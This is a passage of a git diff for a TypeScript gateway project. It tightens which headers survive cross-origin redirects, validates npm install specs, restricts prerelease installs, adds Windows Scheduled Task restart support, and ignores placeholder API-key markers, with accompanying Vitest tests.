expect(headers.get("cookie2")).toBeNull(); - expect(headers.get("x-trace")).toBe("1"); + for (const header of CROSS_ORIGIN_REDIRECT_STRIPPED_HEADERS) { + expect(headers.get(header)).toBeNull(); + } + for (const [header, value] of CROSS_ORIGIN_REDIRECT_PRESERVED_HEADERS) { + expect(headers.get(header)).toBe(value); + } await result.release(); }); diff --git a/src/infra/net/fetch-guard.ts b/src/infra/net/fetch-guard.ts index ded0c5fae21..faae38b013c 100644 --- a/src/infra/net/fetch-guard.ts +++ b/src/infra/net/fetch-guard.ts @@ -52,12 +52,21 @@ type GuardedFetchPresetOptions = Omit< >; const DEFAULT_MAX_REDIRECTS = 3; -const CROSS_ORIGIN_REDIRECT_SENSITIVE_HEADERS = [ - "authorization", - "proxy-authorization", - "cookie", - "cookie2", -]; +const CROSS_ORIGIN_REDIRECT_SAFE_HEADERS = new Set([ + "accept", + "accept-encoding", + "accept-language", + "cache-control", + "content-language", + "content-type", + "if-match", + "if-modified-since", + "if-none-match", + "if-unmodified-since", + "pragma", + "range", + "user-agent", +]); export function withStrictGuardedFetchMode(params: GuardedFetchPresetOptions): GuardedFetchOptions { return { ...params, mode: GUARDED_FETCH_MODE.STRICT }; @@ -83,13 +92,16 @@ function isRedirectStatus(status: number): boolean { return status === 301 || status === 302 || status === 303 || status === 307 || status === 308; } -function stripSensitiveHeadersForCrossOriginRedirect(init?: RequestInit): RequestInit | undefined { +function retainSafeHeadersForCrossOriginRedirect(init?: RequestInit): RequestInit | undefined { if (!init?.headers) { return init; } - const headers = new Headers(init.headers); - for (const header of CROSS_ORIGIN_REDIRECT_SENSITIVE_HEADERS) { - headers.delete(header); + const incoming = new Headers(init.headers); + const headers = new Headers(); + for (const [key, value] of incoming.entries()) { + if (CROSS_ORIGIN_REDIRECT_SAFE_HEADERS.has(key.toLowerCase())) { + headers.set(key, value); + } } return { ...init, headers }; } @@ -214,7 +226,7 @@ export async function fetchWithSsrFGuard(params: GuardedFetchOptions): Promise; remoteIp?: string; +}; + +export type NodePairingPendingRequest = NodePairingNodeMetadata & { + requestId: string; silent?: boolean; isRepair?: boolean; ts: number; }; -export type NodePairingPairedNode = { - nodeId: string; +export type NodePairingPairedNode = Omit & { token: string; - displayName?: string; - platform?: string; - version?: string; - coreVersion?: string; - uiVersion?: string; - deviceFamily?: string; - modelIdentifier?: string; - caps?: string[]; - commands?: string[]; bins?: string[]; - permissions?: Record; - remoteIp?: string; createdAtMs: number; approvedAtMs: number; lastConnectedAtMs?: number; diff --git a/src/infra/npm-pack-install.ts b/src/infra/npm-pack-install.ts index f343653c415..e7c8f97ca84 100644 --- a/src/infra/npm-pack-install.ts +++ b/src/infra/npm-pack-install.ts @@ -8,6 +8,11 @@ import { type NpmIntegrityDriftPayload, resolveNpmIntegrityDriftWithDefaultMessage, } from "./npm-integrity.js"; +import { + formatPrereleaseResolutionError, + isPrereleaseResolutionAllowed, + parseRegistryNpmSpec, +} from "./npm-registry-spec.js"; export type NpmSpecArchiveInstallFlowResult = | { @@ -94,6 +99,13 @@ export async function installFromNpmSpecArchive installFromArchive: (params: { archivePath: string }) => Promise; }): Promise> { return await withTempDir(params.tempDirPrefix, async (tmpDir) => { + const parsedSpec = parseRegistryNpmSpec(params.spec); + if (!parsedSpec) { + return { + ok: false, + error: "unsupported npm spec", + }; + } const packedResult = await packNpmSpecToArchive({ spec: params.spec, timeoutMs: params.timeoutMs, @@ -107,6 +119,21 @@ export async function installFromNpmSpecArchive ...packedResult.metadata, resolvedAt: new Date().toISOString(), }; + if ( + npmResolution.version && + !isPrereleaseResolutionAllowed({ + spec: parsedSpec, + resolvedVersion: npmResolution.version, + }) + ) { + return { + ok: false, + error: formatPrereleaseResolutionError({ + spec: parsedSpec, + resolvedVersion: npmResolution.version, + }), + }; + } const driftResult = await resolveNpmIntegrityDriftWithDefaultMessage({ spec: params.spec, diff --git a/src/infra/npm-registry-spec.test.ts b/src/infra/npm-registry-spec.test.ts new file mode 100644 index 00000000000..8c0b62c5667 --- /dev/null +++ b/src/infra/npm-registry-spec.test.ts @@ -0,0 +1,69 @@ +import { describe, expect, it } from "vitest"; +import { + isPrereleaseResolutionAllowed, + parseRegistryNpmSpec, + validateRegistryNpmSpec, +} from "./npm-registry-spec.js"; + +describe("npm registry spec validation", () => { + it("accepts bare package names, exact versions, and dist-tags", () => { + expect(validateRegistryNpmSpec("@openclaw/voice-call")).toBeNull(); + expect(validateRegistryNpmSpec("@openclaw/voice-call@1.2.3")).toBeNull(); + expect(validateRegistryNpmSpec("@openclaw/voice-call@1.2.3-beta.4")).toBeNull(); + expect(validateRegistryNpmSpec("@openclaw/voice-call@latest")).toBeNull(); + expect(validateRegistryNpmSpec("@openclaw/voice-call@beta")).toBeNull(); + }); + + it("rejects semver ranges", () => { + expect(validateRegistryNpmSpec("@openclaw/voice-call@^1.2.3")).toContain( + "exact version or dist-tag", + ); + expect(validateRegistryNpmSpec("@openclaw/voice-call@~1.2.3")).toContain( + "exact version or dist-tag", + ); + }); +}); + +describe("npm prerelease resolution policy", () => { + it("blocks prerelease resolutions for bare specs", () => { + const spec = parseRegistryNpmSpec("@openclaw/voice-call"); + expect(spec).not.toBeNull(); + expect( + isPrereleaseResolutionAllowed({ + spec: spec!, + resolvedVersion: "1.2.3-beta.1", + }), + ).toBe(false); + }); + + it("blocks prerelease resolutions for latest", () => { + const spec = parseRegistryNpmSpec("@openclaw/voice-call@latest"); + expect(spec).not.toBeNull(); + expect( + isPrereleaseResolutionAllowed({ + spec: spec!, + resolvedVersion: "1.2.3-rc.1", + }), + ).toBe(false); + }); + + it("allows prerelease resolutions when the user explicitly opted in", () => { + const tagSpec = parseRegistryNpmSpec("@openclaw/voice-call@beta"); + const versionSpec = parseRegistryNpmSpec("@openclaw/voice-call@1.2.3-beta.1"); + + expect(tagSpec).not.toBeNull(); + expect(versionSpec).not.toBeNull(); + expect( + isPrereleaseResolutionAllowed({ + spec: tagSpec!, + resolvedVersion: "1.2.3-beta.4", + }), + ).toBe(true); + expect( + isPrereleaseResolutionAllowed({ + spec: versionSpec!, + resolvedVersion: "1.2.3-beta.1", + }), + ).toBe(true); + }); +}); diff --git a/src/infra/npm-registry-spec.ts b/src/infra/npm-registry-spec.ts index 5861d301717..622382d05e8 100644 --- a/src/infra/npm-registry-spec.ts +++ b/src/infra/npm-registry-spec.ts @@ -1,41 +1,141 @@ -export function validateRegistryNpmSpec(rawSpec: string): string | null { +const EXACT_SEMVER_VERSION_RE = + /^v?(0|[1-9]\d*)\.(0|[1-9]\d*)\.(0|[1-9]\d*)(?:-([0-9A-Za-z.-]+))?(?:\+([0-9A-Za-z.-]+))?$/; +const DIST_TAG_RE = /^[A-Za-z0-9][A-Za-z0-9._-]*$/; + +export type ParsedRegistryNpmSpec = { + name: string; + raw: string; + selector?: string; + selectorKind: "none" | "exact-version" | "tag"; + selectorIsPrerelease: boolean; +}; + +function parseRegistryNpmSpecInternal( + rawSpec: string, +): { ok: true; parsed: ParsedRegistryNpmSpec } | { ok: false; error: string } { const spec = rawSpec.trim(); if (!spec) { - return "missing npm spec"; + return { ok: false, error: "missing npm spec" }; } if (/\s/.test(spec)) { - return "unsupported npm spec: whitespace is not allowed"; + return { ok: false, error: "unsupported npm spec: whitespace is not allowed" }; } // Registry-only: no URLs, git, file, or alias protocols. // Keep strict: this runs on the gateway host. if (spec.includes("://")) { - return "unsupported npm spec: URLs are not allowed"; + return { ok: false, error: "unsupported npm spec: URLs are not allowed" }; } if (spec.includes("#")) { - return "unsupported npm spec: git refs are not allowed"; + return { ok: false, error: "unsupported npm spec: git refs are not allowed" }; } if (spec.includes(":")) { - return "unsupported npm spec: protocol specs are not allowed"; + return { ok: false, error: "unsupported npm spec: protocol specs are not allowed" }; } const at = spec.lastIndexOf("@"); - const hasVersion = at > 0; - const name = hasVersion ? spec.slice(0, at) : spec; - const version = hasVersion ? spec.slice(at + 1) : ""; + const hasSelector = at > 0; + const name = hasSelector ? spec.slice(0, at) : spec; + const selector = hasSelector ? spec.slice(at + 1) : ""; const unscopedName = /^[a-z0-9][a-z0-9-._~]*$/; const scopedName = /^@[a-z0-9][a-z0-9-._~]*\/[a-z0-9][a-z0-9-._~]*$/; const isValidName = name.startsWith("@") ? scopedName.test(name) : unscopedName.test(name); if (!isValidName) { - return "unsupported npm spec: expected or @ from the npm registry"; + return { + ok: false, + error: "unsupported npm spec: expected or @ from the npm registry", + }; } - if (hasVersion) { - if (!version) { - return "unsupported npm spec: missing version/tag after @"; - } - if (/[\\/]/.test(version)) { - return "unsupported npm spec: invalid version/tag"; - } + if (!hasSelector) { + return { + ok: true, + parsed: { + name, + raw: spec, + selectorKind: "none", + selectorIsPrerelease: false, + }, + }; } - return null; + if (!selector) { + return { ok: false, error: "unsupported npm spec: missing version/tag after @" }; + } + if (/[\\/]/.test(selector)) { + return { ok: false, error: "unsupported npm spec: invalid version/tag" }; + } + const exactVersionMatch = EXACT_SEMVER_VERSION_RE.exec(selector); + if (exactVersionMatch) { + return { + ok: true, + parsed: { + name, + raw: spec, + selector, + selectorKind: "exact-version", + selectorIsPrerelease: Boolean(exactVersionMatch[4]), + }, + }; + } + if (!DIST_TAG_RE.test(selector)) { + return { + ok: false, + error: "unsupported npm spec: use an exact version or dist-tag (ranges are not allowed)", + }; + } + return { + ok: true, + parsed: { + name, + raw: spec, + selector, + selectorKind: "tag", + selectorIsPrerelease: false, + }, + }; +} + +export function parseRegistryNpmSpec(rawSpec: string): ParsedRegistryNpmSpec | null { + const parsed = parseRegistryNpmSpecInternal(rawSpec); + return parsed.ok ? parsed.parsed : null; +} + +export function validateRegistryNpmSpec(rawSpec: string): string | null { + const parsed = parseRegistryNpmSpecInternal(rawSpec); + return parsed.ok ? null : parsed.error; +} + +export function isExactSemverVersion(value: string): boolean { + return EXACT_SEMVER_VERSION_RE.test(value.trim()); +} + +export function isPrereleaseSemverVersion(value: string): boolean { + const match = EXACT_SEMVER_VERSION_RE.exec(value.trim()); + return Boolean(match?.[4]); +} + +export function isPrereleaseResolutionAllowed(params: { + spec: ParsedRegistryNpmSpec; + resolvedVersion?: string; +}): boolean { + if (!params.resolvedVersion || !isPrereleaseSemverVersion(params.resolvedVersion)) { + return true; + } + if (params.spec.selectorKind === "none") { + return false; + } + if (params.spec.selectorKind === "exact-version") { + return params.spec.selectorIsPrerelease; + } + return params.spec.selector?.toLowerCase() !== "latest"; +} + +export function formatPrereleaseResolutionError(params: { + spec: ParsedRegistryNpmSpec; + resolvedVersion: string; +}): string { + const selectorHint = + params.spec.selectorKind === "none" || params.spec.selector?.toLowerCase() === "latest" + ? `Use "${params.spec.name}@beta" (or another prerelease tag) or an exact prerelease version to opt in explicitly.` + : `Use an explicit prerelease tag or exact prerelease version if you want prerelease installs.`; + return `Resolved ${params.spec.raw} to prerelease version ${params.resolvedVersion}, but prereleases are only installed when explicitly requested. ${selectorHint}`; } diff --git a/src/infra/outbound/channel-target.ts b/src/infra/outbound/channel-target.ts index 21b577e7ca6..c71ffd1e58a 100644 --- a/src/infra/outbound/channel-target.ts +++ b/src/infra/outbound/channel-target.ts @@ -6,13 +6,17 @@ export const CHANNEL_TARGET_DESCRIPTION = export const CHANNEL_TARGETS_DESCRIPTION = "Recipient/channel targets (same format as --target); accepts ids or names when the directory is available."; +function hasNonEmptyString(value: unknown): value is string { + return typeof value === "string" && value.trim().length > 0; +} + export function applyTargetToParams(params: { action: string; args: Record; }): void { const target = typeof params.args.target === "string" ? params.args.target.trim() : ""; - const hasLegacyTo = typeof params.args.to === "string"; - const hasLegacyChannelId = typeof params.args.channelId === "string"; + const hasLegacyTo = hasNonEmptyString(params.args.to); + const hasLegacyChannelId = hasNonEmptyString(params.args.channelId); const mode = MESSAGE_ACTION_TARGET_MODE[params.action as keyof typeof MESSAGE_ACTION_TARGET_MODE] ?? "none"; diff --git a/src/infra/outbound/message-action-normalization.test.ts b/src/infra/outbound/message-action-normalization.test.ts index 8acf557ef38..5f0647b955c 100644 --- a/src/infra/outbound/message-action-normalization.test.ts +++ b/src/infra/outbound/message-action-normalization.test.ts @@ -17,6 +17,21 @@ describe("normalizeMessageActionInput", () => { expect("channelId" in normalized).toBe(false); }); + it("ignores empty-string legacy target fields when explicit target is present", () => { + const normalized = normalizeMessageActionInput({ + action: "send", + args: { + target: "1214056829", + channelId: "", + to: " ", + }, + }); + + expect(normalized.target).toBe("1214056829"); + expect(normalized.to).toBe("1214056829"); + expect("channelId" in normalized).toBe(false); + }); + it("maps legacy target fields into canonical target", () => { const normalized = normalizeMessageActionInput({ action: "send", diff --git a/src/infra/outbound/message-action-normalization.ts b/src/infra/outbound/message-action-normalization.ts index 4047a7e26ee..a4b4f4829bd 100644 --- a/src/infra/outbound/message-action-normalization.ts +++ b/src/infra/outbound/message-action-normalization.ts @@ -19,11 +19,13 @@ export function normalizeMessageActionInput(params: { const explicitTarget = typeof normalizedArgs.target === "string" ? normalizedArgs.target.trim() : ""; + const hasLegacyTargetFields = + typeof normalizedArgs.to === "string" || typeof normalizedArgs.channelId === "string"; const hasLegacyTarget = (typeof normalizedArgs.to === "string" && normalizedArgs.to.trim().length > 0) || (typeof normalizedArgs.channelId === "string" && normalizedArgs.channelId.trim().length > 0); - if (explicitTarget && hasLegacyTarget) { + if (explicitTarget && hasLegacyTargetFields) { delete normalizedArgs.to; delete normalizedArgs.channelId; } diff --git a/src/infra/parse-finite-number.test.ts b/src/infra/parse-finite-number.test.ts new file mode 100644 index 00000000000..8dd592b6558 --- /dev/null +++ b/src/infra/parse-finite-number.test.ts @@ -0,0 +1,19 @@ +import { describe, expect, it } from "vitest"; +import { parseFiniteNumber } from "./parse-finite-number.js"; + +describe("parseFiniteNumber", () => { + it("returns finite numbers", () => { + expect(parseFiniteNumber(42)).toBe(42); + }); + + it("parses numeric strings", () => { + expect(parseFiniteNumber("3.14")).toBe(3.14); + }); + + it("returns undefined for non-finite or non-numeric values", () => { + expect(parseFiniteNumber(Number.NaN)).toBeUndefined(); + expect(parseFiniteNumber(Number.POSITIVE_INFINITY)).toBeUndefined(); + expect(parseFiniteNumber("not-a-number")).toBeUndefined(); + expect(parseFiniteNumber(null)).toBeUndefined(); + }); +}); diff --git a/src/infra/parse-finite-number.ts b/src/infra/parse-finite-number.ts new file mode 100644 index 00000000000..cf0fa0a3773 --- /dev/null +++ b/src/infra/parse-finite-number.ts @@ -0,0 +1,12 @@ +export function parseFiniteNumber(value: unknown): number | undefined { + if (typeof value === "number" && Number.isFinite(value)) { + return value; + } + if (typeof value === "string") { + const parsed = Number.parseFloat(value); + if (Number.isFinite(parsed)) { + return parsed; + } + } + return undefined; +} diff --git a/src/infra/process-respawn.test.ts b/src/infra/process-respawn.test.ts index 06591711c81..4a18a797607 100644 --- a/src/infra/process-respawn.test.ts +++ b/src/infra/process-respawn.test.ts @@ -67,11 +67,14 @@ describe("restartGatewayProcessWithFreshPid", () => { expect(spawnMock).not.toHaveBeenCalled(); }); - it("returns supervised when launchd/systemd hints are present", () => { + it("returns supervised when launchd hints are present on macOS", () => { clearSupervisorHints(); + setPlatform("darwin"); process.env.LAUNCH_JOB_LABEL = "ai.openclaw.gateway"; + triggerOpenClawRestartMock.mockReturnValue({ ok: true, method: "launchctl" }); const result = restartGatewayProcessWithFreshPid(); expect(result.mode).toBe("supervised"); + expect(triggerOpenClawRestartMock).toHaveBeenCalledOnce(); expect(spawnMock).not.toHaveBeenCalled(); }); @@ -110,6 +113,7 @@ describe("restartGatewayProcessWithFreshPid", () => { it("spawns detached child with current exec argv", () => { delete process.env.OPENCLAW_NO_RESPAWN; clearSupervisorHints(); + setPlatform("linux"); process.execArgv = ["--import", "tsx"]; process.argv = ["/usr/local/bin/node", "/repo/dist/index.js", "gateway", "run"]; spawnMock.mockReturnValue({ pid: 4242, unref: vi.fn() }); @@ -134,23 +138,68 @@ describe("restartGatewayProcessWithFreshPid", () => { it("returns supervised when OPENCLAW_SYSTEMD_UNIT is set", () => { clearSupervisorHints(); + setPlatform("linux"); process.env.OPENCLAW_SYSTEMD_UNIT = "openclaw-gateway.service"; const result = restartGatewayProcessWithFreshPid(); expect(result.mode).toBe("supervised"); expect(spawnMock).not.toHaveBeenCalled(); }); - it("returns supervised when OPENCLAW_SERVICE_MARKER is set", () => { + it("returns supervised when OpenClaw gateway task markers are set on Windows", () => { clearSupervisorHints(); - process.env.OPENCLAW_SERVICE_MARKER = "gateway"; + setPlatform("win32"); + process.env.OPENCLAW_SERVICE_MARKER = "openclaw"; + process.env.OPENCLAW_SERVICE_KIND = "gateway"; + triggerOpenClawRestartMock.mockReturnValue({ ok: true, method: "schtasks" }); const result = restartGatewayProcessWithFreshPid(); expect(result.mode).toBe("supervised"); + expect(triggerOpenClawRestartMock).toHaveBeenCalledOnce(); + expect(spawnMock).not.toHaveBeenCalled(); + }); + + it("keeps generic service markers out of non-Windows supervisor detection", () => { + clearSupervisorHints(); + setPlatform("linux"); + process.env.OPENCLAW_SERVICE_MARKER = "openclaw"; + process.env.OPENCLAW_SERVICE_KIND = "gateway"; + spawnMock.mockReturnValue({ pid: 4242, unref: vi.fn() }); + + const result = restartGatewayProcessWithFreshPid(); + + expect(result).toEqual({ mode: "spawned", pid: 4242 }); + expect(triggerOpenClawRestartMock).not.toHaveBeenCalled(); + }); + + it("returns disabled on Windows without Scheduled Task markers", () => { + clearSupervisorHints(); + setPlatform("win32"); + + const result = restartGatewayProcessWithFreshPid(); + + expect(result.mode).toBe("disabled"); + expect(result.detail).toContain("Scheduled Task"); + expect(spawnMock).not.toHaveBeenCalled(); + }); + + it("ignores node task script hints for gateway restart detection on Windows", () => { + clearSupervisorHints(); + setPlatform("win32"); + process.env.OPENCLAW_TASK_SCRIPT = "C:\\openclaw\\node.cmd"; + process.env.OPENCLAW_TASK_SCRIPT_NAME = "node.cmd"; + process.env.OPENCLAW_SERVICE_MARKER = "openclaw"; + process.env.OPENCLAW_SERVICE_KIND = "node"; + + const result = restartGatewayProcessWithFreshPid(); + + expect(result.mode).toBe("disabled"); + expect(triggerOpenClawRestartMock).not.toHaveBeenCalled(); expect(spawnMock).not.toHaveBeenCalled(); }); it("returns failed when spawn throws", () => { delete process.env.OPENCLAW_NO_RESPAWN; clearSupervisorHints(); + setPlatform("linux"); spawnMock.mockImplementation(() => { throw new Error("spawn failed"); diff --git a/src/infra/process-respawn.ts b/src/infra/process-respawn.ts index 554a1f9a93c..0edc43f2de4 100644 --- a/src/infra/process-respawn.ts +++ b/src/infra/process-respawn.ts @@ -1,6 +1,6 @@ import { spawn } from "node:child_process"; import { triggerOpenClawRestart } from "./restart.js"; -import { hasSupervisorHint } from "./supervisor-markers.js"; +import { detectRespawnSupervisor } from "./supervisor-markers.js"; type RespawnMode = "spawned" | "supervised" | "disabled" | "failed"; @@ -18,13 +18,9 @@ function isTruthy(value: string | undefined): boolean { return normalized === "1" || normalized === "true" || normalized === "yes" || normalized === "on"; } -function isLikelySupervisedProcess(env: NodeJS.ProcessEnv = process.env): boolean { - return hasSupervisorHint(env); -} - /** * Attempt to restart this process with a fresh PID. - * - supervised environments (launchd/systemd): caller should exit and let supervisor restart + * - supervised environments (launchd/systemd/schtasks): caller should exit and let supervisor restart * - OPENCLAW_NO_RESPAWN=1: caller should keep in-process restart behavior (tests/dev) * - otherwise: spawn detached child with current argv/execArgv, then caller exits */ @@ -32,20 +28,27 @@ export function restartGatewayProcessWithFreshPid(): GatewayRespawnResult { if (isTruthy(process.env.OPENCLAW_NO_RESPAWN)) { return { mode: "disabled" }; } - if (isLikelySupervisedProcess(process.env)) { - // On macOS under launchd, actively kickstart the supervised service to - // bypass ThrottleInterval delays for intentional restarts. - if (process.platform === "darwin" && process.env.OPENCLAW_LAUNCHD_LABEL?.trim()) { + const supervisor = detectRespawnSupervisor(process.env); + if (supervisor) { + if (supervisor === "launchd" || supervisor === "schtasks") { const restart = triggerOpenClawRestart(); if (!restart.ok) { return { mode: "failed", - detail: restart.detail ?? "launchctl kickstart failed", + detail: restart.detail ?? `${restart.method} restart failed`, }; } } return { mode: "supervised" }; } + if (process.platform === "win32") { + // Detached respawn is unsafe on Windows without an identified Scheduled Task: + // the child becomes orphaned if the original process exits. + return { + mode: "disabled", + detail: "win32: detached respawn unsupported without Scheduled Task markers", + }; + } try { const args = [...process.execArgv, ...process.argv.slice(1)]; diff --git a/src/infra/provider-usage.auth.normalizes-keys.test.ts b/src/infra/provider-usage.auth.normalizes-keys.test.ts index 3dccd2bf1be..87d3f1ffbed 100644 --- a/src/infra/provider-usage.auth.normalizes-keys.test.ts +++ b/src/infra/provider-usage.auth.normalizes-keys.test.ts @@ -2,6 +2,7 @@ import fs from "node:fs/promises"; import os from "node:os"; import path from "node:path"; import { afterAll, beforeAll, describe, expect, it } from "vitest"; +import { NON_ENV_SECRETREF_MARKER } from "../agents/model-auth-markers.js"; import { resolveProviderAuths } from "./provider-usage.auth.js"; describe("resolveProviderAuths key normalization", () => { @@ -107,6 +108,44 @@ describe("resolveProviderAuths key normalization", () => { await fs.writeFile(path.join(legacyDir, "auth.json"), raw, "utf8"); } + function createTestModelDefinition() { + return { + id: "test-model", + name: "Test Model", + reasoning: false, + input: ["text"], + cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 }, + contextWindow: 1024, + maxTokens: 256, + }; + } + + async function resolveMinimaxAuthFromConfiguredKey(apiKey: string) { + return await withSuiteHome( + async (home) => { + await writeConfig(home, { + models: { + providers: { + minimax: { + baseUrl: "https://api.minimaxi.com", + models: [createTestModelDefinition()], + apiKey, + }, + }, + }, + }); + + return await resolveProviderAuths({ + providers: ["minimax"], + }); + }, + { + MINIMAX_API_KEY: undefined, + MINIMAX_CODE_PLAN_KEY: undefined, + }, + ); + } + it("strips embedded CR/LF from env keys", async () => { await withSuiteHome( async () => { @@ -248,17 +287,17 @@ describe("resolveProviderAuths key normalization", () => { zai: { baseUrl: "https://api.z.ai", models: [modelDef], - apiKey: "cfg-zai-key", + apiKey: "cfg-zai-key", // pragma: allowlist secret }, minimax: { baseUrl: "https://api.minimaxi.com", models: [modelDef], - apiKey: "cfg-minimax-key", + apiKey: "cfg-minimax-key", // pragma: allowlist secret }, xiaomi: { baseUrl: "https://api.xiaomi.example", models: [modelDef], - apiKey: "cfg-xiaomi-key", + apiKey: "cfg-xiaomi-key", // pragma: allowlist secret }, }, }, @@ -403,4 +442,14 @@ describe("resolveProviderAuths key normalization", () => { expect(auths).toEqual([{ provider: "anthropic", token: "token-1" }]); }, {}); }); + + it("ignores marker-backed config keys for provider usage auth resolution", async () => { + const auths = await resolveMinimaxAuthFromConfiguredKey(NON_ENV_SECRETREF_MARKER); + expect(auths).toEqual([]); + }); + + it("keeps all-caps plaintext config keys eligible for provider usage auth resolution", async () => { + const auths = await resolveMinimaxAuthFromConfiguredKey("ALLCAPS_SAMPLE"); + expect(auths).toEqual([{ provider: "minimax", token: "ALLCAPS_SAMPLE" }]); + }); }); diff --git a/src/infra/provider-usage.auth.ts b/src/infra/provider-usage.auth.ts index ff63c1570f1..6afa4bebaad 100644 --- a/src/infra/provider-usage.auth.ts +++ b/src/infra/provider-usage.auth.ts @@ -8,6 +8,7 @@ import { resolveApiKeyForProfile, resolveAuthProfileOrder, } from "../agents/auth-profiles.js"; +import { isNonSecretApiKeyMarker } from "../agents/model-auth-markers.js"; import { getCustomProviderApiKey } from "../agents/model-auth.js"; import { normalizeProviderId } from "../agents/model-selection.js"; import { loadConfig } from "../config/config.js"; @@ -103,7 +104,7 @@ function resolveProviderApiKeyFromConfigAndStore(params: { const cfg = loadConfig(); const key = getCustomProviderApiKey(cfg, params.providerId); - if (key) { + if (key && !isNonSecretApiKeyMarker(key)) { return key; } @@ -122,9 +123,17 @@ function resolveProviderApiKeyFromConfigAndStore(params: { return undefined; } if (cred.type === "api_key") { - return normalizeSecretInput(cred.key); + const key = normalizeSecretInput(cred.key); + if (key && !isNonSecretApiKeyMarker(key)) { + return key; + } + return undefined; } - return normalizeSecretInput(cred.token); + const token = normalizeSecretInput(cred.token); + if (token && !isNonSecretApiKeyMarker(token)) { + return token; + } + return undefined; } async function resolveOAuthToken(params: { diff --git a/src/infra/provider-usage.fetch.shared.ts b/src/infra/provider-usage.fetch.shared.ts index 2a2d2d0201b..20c9ab18d09 100644 --- a/src/infra/provider-usage.fetch.shared.ts +++ b/src/infra/provider-usage.fetch.shared.ts @@ -1,3 +1,4 @@ +import { parseFiniteNumber as parseFiniteNumberish } from "./parse-finite-number.js"; import { PROVIDER_LABELS } from "./provider-usage.shared.js"; import type { ProviderUsageSnapshot, UsageProviderId } from "./provider-usage.types.js"; @@ -17,16 +18,7 @@ export async function fetchJson( } export function parseFiniteNumber(value: unknown): number | undefined { - if (typeof value === "number" && Number.isFinite(value)) { - return value; - } - if (typeof value === "string") { - const parsed = Number.parseFloat(value); - if (Number.isFinite(parsed)) { - return parsed; - } - } - return undefined; + return parseFiniteNumberish(value); } type BuildUsageHttpErrorSnapshotOptions = { diff --git a/src/infra/push-apns.test.ts b/src/infra/push-apns.test.ts index 1e72a3f2439..03c75110861 100644 --- a/src/infra/push-apns.test.ts +++ b/src/infra/push-apns.test.ts @@ -77,7 +77,7 @@ describe("push APNs env config", () => { OPENCLAW_APNS_TEAM_ID: "TEAM123", OPENCLAW_APNS_KEY_ID: "KEY123", OPENCLAW_APNS_PRIVATE_KEY_P8: - "-----BEGIN PRIVATE KEY-----\\nline-a\\nline-b\\n-----END PRIVATE KEY-----", + "-----BEGIN PRIVATE KEY-----\\nline-a\\nline-b\\n-----END PRIVATE KEY-----", // pragma: allowlist secret } as NodeJS.ProcessEnv; const resolved = await resolveApnsAuthConfigFromEnv(env); expect(resolved.ok).toBe(true); diff --git a/src/infra/restart.ts b/src/infra/restart.ts index 3f65cfc1614..ddb4352e5ca 100644 --- a/src/infra/restart.ts +++ b/src/infra/restart.ts @@ -7,10 +7,11 @@ import { } from "../daemon/constants.js"; import { createSubsystemLogger } from "../logging/subsystem.js"; import { cleanStaleGatewayProcessesSync, findGatewayPidsOnPortSync } from "./restart-stale-pids.js"; +import { relaunchGatewayScheduledTask } from "./windows-task-restart.js"; export type RestartAttempt = { ok: boolean; - method: "launchctl" | "systemd" | "supervisor"; + method: "launchctl" | "systemd" | "schtasks" | "supervisor"; detail?: string; tried?: string[]; }; @@ -296,36 +297,41 @@ export function triggerOpenClawRestart(): RestartAttempt { cleanStaleGatewayProcessesSync(); const tried: string[] = []; - if (process.platform !== "darwin") { - if (process.platform === "linux") { - const unit = normalizeSystemdUnit( - process.env.OPENCLAW_SYSTEMD_UNIT, - process.env.OPENCLAW_PROFILE, - ); - const userArgs = ["--user", "restart", unit]; - tried.push(`systemctl ${userArgs.join(" ")}`); - const userRestart = spawnSync("systemctl", userArgs, { - encoding: "utf8", - timeout: SPAWN_TIMEOUT_MS, - }); - if (!userRestart.error && userRestart.status === 0) { - return { ok: true, method: "systemd", tried }; - } - const systemArgs = ["restart", unit]; - tried.push(`systemctl ${systemArgs.join(" ")}`); - const systemRestart = spawnSync("systemctl", systemArgs, { - encoding: "utf8", - timeout: SPAWN_TIMEOUT_MS, - }); - if (!systemRestart.error && systemRestart.status === 0) { - return { ok: true, method: "systemd", tried }; - } - const detail = [ - `user: ${formatSpawnDetail(userRestart)}`, - `system: ${formatSpawnDetail(systemRestart)}`, - ].join("; "); - return { ok: false, method: "systemd", detail, tried }; + if (process.platform === "linux") { + const unit = normalizeSystemdUnit( + process.env.OPENCLAW_SYSTEMD_UNIT, + process.env.OPENCLAW_PROFILE, + ); + const userArgs = ["--user", "restart", unit]; + tried.push(`systemctl ${userArgs.join(" ")}`); + const userRestart = spawnSync("systemctl", userArgs, { + encoding: "utf8", + timeout: SPAWN_TIMEOUT_MS, + }); + if (!userRestart.error && userRestart.status === 0) { + return { ok: true, method: "systemd", tried }; } + const systemArgs = ["restart", unit]; + tried.push(`systemctl ${systemArgs.join(" ")}`); + const systemRestart = spawnSync("systemctl", systemArgs, { + encoding: "utf8", + timeout: SPAWN_TIMEOUT_MS, + }); + if (!systemRestart.error && systemRestart.status === 0) { + return { ok: true, method: "systemd", tried }; + } + const detail = [ + `user: ${formatSpawnDetail(userRestart)}`, + `system: ${formatSpawnDetail(systemRestart)}`, + ].join("; "); + return { ok: false, method: "systemd", detail, tried }; + } + + if (process.platform === "win32") { + return relaunchGatewayScheduledTask(process.env); + } + + if (process.platform !== "darwin") { return { ok: false, method: "supervisor", diff --git a/src/infra/supervisor-markers.ts b/src/infra/supervisor-markers.ts index 231bece5e3d..f024ddeca2e 100644 --- a/src/infra/supervisor-markers.ts +++ b/src/infra/supervisor-markers.ts @@ -1,20 +1,52 @@ -export const SUPERVISOR_HINT_ENV_VARS = [ - // macOS launchd +const LAUNCHD_SUPERVISOR_HINT_ENV_VARS = [ "LAUNCH_JOB_LABEL", "LAUNCH_JOB_NAME", - // OpenClaw service env markers "OPENCLAW_LAUNCHD_LABEL", +] as const; + +const SYSTEMD_SUPERVISOR_HINT_ENV_VARS = [ "OPENCLAW_SYSTEMD_UNIT", - "OPENCLAW_SERVICE_MARKER", - // Linux systemd "INVOCATION_ID", "SYSTEMD_EXEC_PID", "JOURNAL_STREAM", ] as const; -export function hasSupervisorHint(env: NodeJS.ProcessEnv = process.env): boolean { - return SUPERVISOR_HINT_ENV_VARS.some((key) => { +const WINDOWS_TASK_SUPERVISOR_HINT_ENV_VARS = ["OPENCLAW_WINDOWS_TASK_NAME"] as const; + +export const SUPERVISOR_HINT_ENV_VARS = [ + ...LAUNCHD_SUPERVISOR_HINT_ENV_VARS, + ...SYSTEMD_SUPERVISOR_HINT_ENV_VARS, + ...WINDOWS_TASK_SUPERVISOR_HINT_ENV_VARS, + 